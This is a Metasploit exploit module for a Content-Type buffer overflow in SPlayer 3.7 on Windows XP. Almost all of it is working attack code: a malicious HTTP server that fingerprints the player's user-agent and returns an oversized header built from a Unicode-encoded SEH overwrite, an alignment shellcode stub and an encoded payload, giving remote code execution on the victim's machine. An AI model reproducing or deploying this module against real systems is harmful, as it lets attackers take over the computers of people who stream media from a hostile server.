SPlayer 3.7 - Content-Type Buffer Overflow (Metasploit)

##
# $Id: splayer_content_type.rb 12581 2011-05-11 00:18:11Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "SPlayer 3.7 Content-Type Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability in SPlayer v3.7 or piror.  When SPlayer
				requests the URL of a media file (video or audio), it is possible to gain arbitrary
				remote code execution due to a buffer overflow caused by an exceeding length of data
				as the 'Content-Type' parameter.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 12581 $",
			'Author'         =>
				[
					'xsploitedsec <xsploitedsecurity[at]gmail.com>',  #Initial discovery, PoC
					'sinn3r', #Metasploit
				],
			'References'     =>
				[
					['URL', 'http://www.exploit-db.com/exploits/17243/'],
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",
					'StackAdjustment' => -3500,
					'EncoderType'     => Msf::Encoder::Type::AlphanumMixed,
					'BufferRegister'  => 'ECX',
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'         => "seh",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP2/XP3',
						{
							'Offset' => 2073,    #Offset to SEH
							'Ret'    => 0x7325,  #Unicode P/P/R (splayer.exe)
							'Max'    => 30000,   #Max buffer size
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 4 2011",
			'DefaultTarget'  => 0))
	end

	def get_unicode_payload(p)
		encoder = framework.encoders.create("x86/unicode_mixed")
		encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} )
		unicode_payload = encoder.encode(p, nil, nil, platform)
		return unicode_payload
	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		if agent !~ /Media Player Classic/
			send_not_found(cli)
			print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
			return
		end

		nop = "\x73"

		#MOV EAX,EDI; XOR AL,C3; INC EAX; XOR AL,79; PUSH EAX; POP ECX; JMP SHORT 0x40
		alignment = "\x8b\xc7\x34\xc3\x40\x34\x79\x50\x59\xeb\x40"
		padding = nop*6
		p = get_unicode_payload(alignment + padding + payload.encoded)

		sploit = rand_text_alpha(2073)
		sploit << "\x61\x73"
		sploit << "\x25\x73"
		sploit << nop
		sploit << "\x55"
		sploit << nop
		sploit << "\x58"
		sploit << nop
		sploit << "\x05\x19\x11"
		sploit << nop
		sploit << "\x2d\x11\x11"
		sploit << nop
		sploit << "\x50"
		sploit << nop
		sploit << "\x50"
		sploit << nop
		sploit << "\x5f"
		sploit << nop
		sploit << "\xc3"
		sploit << rand_text_alpha(1000)
		sploit << p
		sploit << rand_text_alpha(target['Max']-sploit.length)

		print_status("Sending malicious content-type to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, '', {'Content-Type'=>sploit})

	end

end